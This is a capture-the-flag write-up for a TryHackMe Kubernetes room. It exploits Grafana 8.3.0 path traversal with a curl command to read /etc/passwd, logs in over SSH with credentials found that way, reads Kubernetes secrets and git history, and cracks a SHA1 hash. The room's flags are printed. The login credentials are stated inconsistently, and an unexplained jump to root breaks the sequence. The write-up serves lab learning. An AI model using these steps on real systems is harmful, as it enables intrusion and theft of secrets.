Page cover

Kubernetes for Everyone

First, we need to scan using rustscan.

PORT     STATE SERVICE           REASON  VERSION
22/tcp   open  ssh               syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e2:35:e1:4f:4e:87:45:9e:5f:2c:97:e0:da:a9:df:d5 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTRQx4ZmXMByEs6dg4VTz+UtM9X9Ljxt6SU3oceqRUlV+ohx56xdD0ZPbvD0IcYwUrrqcruMG0xxgRxWuzV+FQAJVQe76ED966+lwrwAnUsVFQ5apw3N+WKnD53eldUZRq7/2nGQQizrefY7UjAGX/EZonSVOWZyhVyONu2VBBwg0B0yA3UBZV+yg+jGsrZ9ETEmfNbQRkbodEAwoZrGQ87UEdTkfj+5TGmfzqgukmBvvVV7KoXgSQIZNkqRmkAVKKXeEfydnOR37KMglBUXIR/50jkIswxWbNk2OtS6fz6UiPeEY39f4f0gwLx/HwUyel9yzH4dkDb+LBS6X/X9b9
|   256 b2:fd:9b:75:1c:9e:80:19:5d:13:4e:8d:a0:83:7b:f9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAqCgW5Mlx2VpC61acc0G4VMZUAauQDoK5xIzdHzdDLPXt0GqsoIw1fuwTSSzSy8RFmGU5PNHiWn0egoUwlXdc4=
|   256 75:20:0b:43:14:a9:8a:49:1a:d9:29:33:e1:b9:1a:b6 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFZ/jrfDX1aK1I0A/sLRVb2qoCF9xHWbVW+gBCV8dSmg
111/tcp  open  rpcbind           syn-ack 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
3000/tcp open  ppp?              syn-ack
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Fri, 03 Jun 2022 09:17:45 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Fri, 03 Jun 2022 09:17:10 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   HTTPOptions:
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Fri, 03 Jun 2022 09:17:16 GMT
|_    Content-Length: 0
5000/tcp open  http              syn-ack Werkzeug httpd 2.0.2 (Python 3.8.12)
|_http-title: Etch a Sketch
| http-methods:
|_  Supported Methods: HEAD GET OPTIONS
|_http-server-header: Werkzeug/2.0.2 Python/3.8.12
6443/tcp open  ssl/sun-sr-https? syn-ack
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: ee88d688-21a6-4bb8-8a7a-65b36f7f55e3
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Fri, 03 Jun 2022 09:17:53 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: e59d7fab-b2de-48a9-9009-15c0271ae62f
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Fri, 03 Jun 2022 09:17:18 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   HTTPOptions:
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: e521c5ed-8f3f-4459-bfe3-f3352cd076cd
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Fri, 03 Jun 2022 09:17:19 GMT
|     Content-Length: 129
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| ssl-cert: Subject: commonName=kubernetes/organizationName=kubernetes
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster, DNS:kubernetes.svc.cluster.local, DNS:localhost, IP Address:127.0.0.1, IP Address:10.10.223.7, IP Address:FE80:0:0:0:99:A6FF:FE13:6B69, IP Address:10.96.0.1
| Issuer: commonName=kubernetes-ca
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-06-03T09:05:00
| Not valid after:  2023-06-03T09:05:00
| MD5:   f2eb ea92 d7ea 6978 429a d05f 1e57 4ac0
| SHA-1: 2d73 10b3 efe1 b2d5 c506 90e2 331a 1d11 da9c 24c7

Port 3000

You will see Grafana services on this port 3000. The current Grafana version is v8.3.0.

So, we will search this version is exploitable or not. Here is the exploit that I found on exploitdb https://www.exploit-db.com/exploits/50581. Let's download it and run it. When we run it, we got error. So, we decided to exploit manually using exploit source code.

        try:
            url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
            req = requests.Request(method='GET', url=url, headers=headers)
            prep = req.prepare()
            prep.url = url
            r = s.send(prep, verify=False, timeout=3)

So, the complete url will be:

┌──(hnl㉿LAPTOP-IBEKGISE)-[~/tryhackme/kubernetesforyou]
└─$ curl http://10.10.223.7:3000/public/plugins/annolist/../../../../../../../../../../../../../etc/passwd --path-as-is
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:hereiamatctf907:/home/grafana:/sbin/nologin

But, we can only reading file. So, we will move a little bit forward to port 5000.

http://10.10.223.7:5000/

Port 5000

We can't find nothing on index page.

In source code, we found only css file. Let's inspect it. view-source:http://10.10.223.7:5000/static/css/main.css.

@import url("https://fonts.googleapis.com/css2?family=Bowlby+One+SC&display=swap");
/* @import url("https://pastebin.com/cPs69B0y"); */
@import url("https://fonts.googleapis.com/css2?family=Vollkorn:wght@500&display=swap");

In source, we found some interesing link. Browse to this pate link and then we found base32 encoded string.

OZQWO4TBNZ2A====

Decode it back to string.

┌──(hnl㉿LAPTOP-IBEKGISE)-[~/tryhackme/kubernetesforyou]
└─$ echo OZQWO4TBNZ2A==== | base32 -d
vagrant

What is that? Is a password or username? We will login ssh using the password that I already found on /etc/passwd with this username.

cyrus:vagrant

User

We successfully login using this credentials.

┌──(hnl㉿LAPTOP-IBEKGISE)-[~/tryhackme/kubernetesforyou]
└─$ ssh vagrant@10.10.223.7
vagrant@10.10.223.7's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Jun  3 09:58:13 UTC 2022

  System load:  0.29              Processes:              106
  Usage of /:   6.5% of 61.80GB   Users logged in:        0
  Memory usage: 58%               IP address for eth0:    10.10.223.7
  Swap usage:   0%                IP address for docker0: 172.17.0.1


248 packages can be updated.
192 updates are security updates.


Last login: Thu Feb 10 18:58:49 2022 from 10.0.2.2
vagrant@johnny:~$

We found kubernetes components are running on this system using ps -aux command.

472       1382  0.0  3.3 786264 33456 pts/0    Ssl+ 09:10   0:02 grafana-server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=consol
vagrant   1389  0.0  1.8  28532 18440 pts/0    Ss+  09:10   0:01 python3 main.py
kube-sc+  1529  0.1  1.9 753784 19808 ?        Sl   09:10   0:03 /var/lib/k0s/bin/kube-scheduler --bind-address=127.0.0.1 --leader-elect=false --profiling=false --authentication-kubeconfig=/
kube-ap+  1531  1.8  6.2 768064 63144 ?        Sl   09:10   0:54 /var/lib/k0s/bin/kube-controller-manager --allocate-node-cidrs=true --authorization-kubeconfig=/var/lib/k0s/pki/ccm.conf --ku
vagrant   1532  5.2  2.1  29836 21520 pts/0    Sl+  09:10   2:35 /usr/local/bin/python3 /home/pyuser/main.py

Your Secret Crush

We will use k0s kubectl to enumerate kubernetes resources.

root@johnny:~# k0s kubectl get pods -n kube-system
NAME                              READY   STATUS    RESTARTS   AGE
kube-router-vsq85                 1/1     Running   0          112d
metrics-server-74c967d8d4-pvv8l   1/1     Running   0          112d
kube-api                          1/1     Running   0          112d
coredns-6d9f49dcbb-9vbff          1/1     Running   0          112d
kube-proxy-jws4q                  1/1     Running   0          112d

List the kubernetes secret.

root@johnny:~# k0s kubectl get secret
NAME                  TYPE                                  DATA   AGE
default-token-nhwb5   kubernetes.io/service-account-token   3      112d
k8s.authentication    Opaque                                1      112d

Read kubernetes secret.

root@johnny:~# k0s kubectl get secret k8s.authentication -o json
{
    "apiVersion": "v1",
    "data": {
        "id": "VEhNe3llc190aGVyZV8kc19ub18kZWNyZXR9"
    },
    "kind": "Secret",
    "metadata": {
        "creationTimestamp": "2022-02-10T18:58:02Z",
        "name": "k8s.authentication",
        "namespace": "default",
        "resourceVersion": "515",
        "uid": "416e4783-03a8-4f92-8e91-8cbc491bf727"
    },
    "type": "Opaque"
}

You will found a flag.

root@johnny:~# echo VEhNe3llc190aGVyZV8kc19ub18kZWNyZXR9 | base64 -d
THM{yes_there_$s_no_$ecret}

Game of Pods

List the pods.

root@johnny:~# k0s kubectl get pods -A
NAMESPACE     NAME                              READY   STATUS      RESTARTS   AGE
internship    internship-job-5drbm              0/1     Completed   0          112d
kube-system   kube-router-vsq85                 1/1     Running     0          112d
kube-system   metrics-server-74c967d8d4-pvv8l   1/1     Running     0          112d
kube-system   kube-api                          1/1     Running     0          112d
kube-system   coredns-6d9f49dcbb-9vbff          1/1     Running     0          112d
kube-system   kube-proxy-jws4q                  1/1     Running     0          112d

We got error while running kube-api pods.

root@johnny:~# k0s kubectl exec -it kube-api -n kube-system -- /bin/bash
Error from server: error dialing backend: dial tcp 10.0.2.15:10250: i/o timeout

Here is the storage page of the kube-api.

/var/lib/k0s/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/38/fs/home/ubuntu/jokes

Check the git log.

root@johnny:/var/lib/k0s/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/38/fs/home/ubuntu/jokes# git log
commit 224b741fa904ee98c75913eafbefa12ac820659f (HEAD -> master, origin/master, origin/HEAD)
Author: Aju100 <ajutamang10@outlook.com>
Date:   Mon Feb 7 22:38:15 2022 +0545

    feat: add programming.jokes

commit 22cd540f3df22a2f373d95e145056d5370c058f5
Author: Aju100 <ajutamang10@outlook.com>
Date:   Mon Feb 7 22:37:41 2022 +0545

    feat: add crush.jokes

commit 4b2c2d74b31d922252368c112a3907c5c1cf1ba3
Author: Aju100 <ajutamang10@outlook.com>
Date:   Mon Feb 7 22:37:13 2022 +0545

    feat: add cold.joke

commit 2be20457c290fa1e8cc8d18cd5b546cec474691c
Author: Aju100 <ajutamang10@outlook.com>
Date:   Mon Feb 7 22:34:54 2022 +0545

    feat: add mom.jokes

commit cc342469e2a4894e34a3e6cf3c7e63603bd4753e
Author: Aju100 <ajutamang10@outlook.com>
Date:   Mon Feb 7 22:34:09 2022 +0545

    feat: add dad.jokes

Read the git log 22cd540f3df22a2f373d95e145056d5370c058f5, we found a flag.

root@johnny:/var/lib/k0s/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/38/fs/home/ubuntu/jokes# git show 22cd540f3df22a2f373d95e145056d5370c058f5
commit 22cd540f3df22a2f373d95e145056d5370c058f5
Author: Aju100 <ajutamang10@outlook.com>
Date:   Mon Feb 7 22:37:41 2022 +0545

    feat: add crush.jokes

diff --git a/crush.jokes b/crush.jokes
new file mode 100644
index 0000000..38c86e8
--- /dev/null
+++ b/crush.jokes
@@ -0,0 +1,16 @@
+Are you getting shorter? You seem to be inching closer to my heart.
+Are you talking to me? You’re not? Well then, please begin.
+Are you an extraterrestrial? Because you are out of this world!
+Aren’t you tired of running in my mind all day long?
+Can I borrow a kiss from you? Don’t worry I’ll give it back to you with interest.
+Did you know that the happiest place on earth is not Disneyland? It’s wherever you are!
+Do I really need to tell you a joke? Can’t we just kiss and be done with it?
+Do you know why I want to reshuffle the alphabet? It’s all for the sake of putting U and I together...forever.
+Excuse me, mind telling me what time it is? I must remember the exact time I met my soul mate!
+Here’s the deal: I will kiss you, and if you don’t like it, you can return it.
+I don’t mind falling over if it’s you I fall for.
+I wish I was the earth and you were the rain, so no matter what, you’d always fall for me.
+I’m gonna call the cops on you for stealing my heart.
+I’ve always thought happiness started with H. I just realized that all this time, it started with U.
+If you are here, then who is running heaven?
+Just a warning for you this Christmas. If a fat man in a red suit comes to pick you up, know that it’s because you’re on my wish list.
\ No newline at end of file
diff --git a/king.jokes b/king.jokes
deleted file mode 100644
index 1b7d703..0000000
--- a/king.jokes
+++ /dev/null
@@ -1 +0,0 @@
-THM{this_joke_is_cold_joke}
\ No newline at end of file

Hack a Job at FANG

List all pods.

root@johnny:~# k0s kubectl get pods -A
NAMESPACE     NAME                              READY   STATUS      RESTARTS   AGE
internship    internship-job-5drbm              0/1     Completed   0          112d
kube-system   kube-router-vsq85                 1/1     Running     0          112d
kube-system   metrics-server-74c967d8d4-pvv8l   1/1     Running     0          112d
kube-system   kube-api                          1/1     Running     0          112d
kube-system   coredns-6d9f49dcbb-9vbff          1/1     Running     0          112d
kube-system   kube-proxy-jws4q                  1/1     Running     0          112d

Inspect the pods, we found interesting thing with echo command.

root@johnny:~# k0s kubectl get pods internship-job-5drbm -n internship -o json
{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {
        "annotations": {
            "kubernetes.io/psp": "00-k0s-privileged"
        },
        "creationTimestamp": "2022-02-10T18:56:17Z",
        "generateName": "internship-job-",
        "labels": {
            "controller-uid": "11cf55dc-7903-4b78-b9d3-62cf241ad26d",
            "job-name": "internship-job"
        },
        "name": "internship-job-5drbm",
        "namespace": "internship",
        "ownerReferences": [
            {
                "apiVersion": "batch/v1",
                "blockOwnerDeletion": true,
                "controller": true,
                "kind": "Job",
                "name": "internship-job",
                "uid": "11cf55dc-7903-4b78-b9d3-62cf241ad26d"
            }
        ],
        "resourceVersion": "578",
        "uid": "e8a7ac23-93ec-4b07-969f-5b6dd9e8a409"
    },
    "spec": {
        "containers": [
            {
                "command": [
                    "echo",
                    "26c3d1c068e7e01599c3612447410b5e56c779f1"
                ],
                "image": "busybox",

Crack this hash, we will found secret.

┌──(hnl㉿LAPTOP-IBEKGISE)-[~/tryhackme/kubernetesforyou]
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-AxCrypt"
Use the "--format=Raw-SHA1-AxCrypt" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-Linkedin"
Use the "--format=Raw-SHA1-Linkedin" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "ripemd-160"
Use the "--format=ripemd-160" option to force loading these as that type instead
Warning: detected hash type "Raw-SHA1", but the string is also recognized as "has-160"
Use the "--format=has-160" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
chidori          (?)
1g 0:00:00:00 DONE (2022-06-03 16:58) 100.0g/s 1113Kp/s 1113Kc/s 1113KC/s cobra..channy
Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably
Session completed.

Last updated

Was this helpful?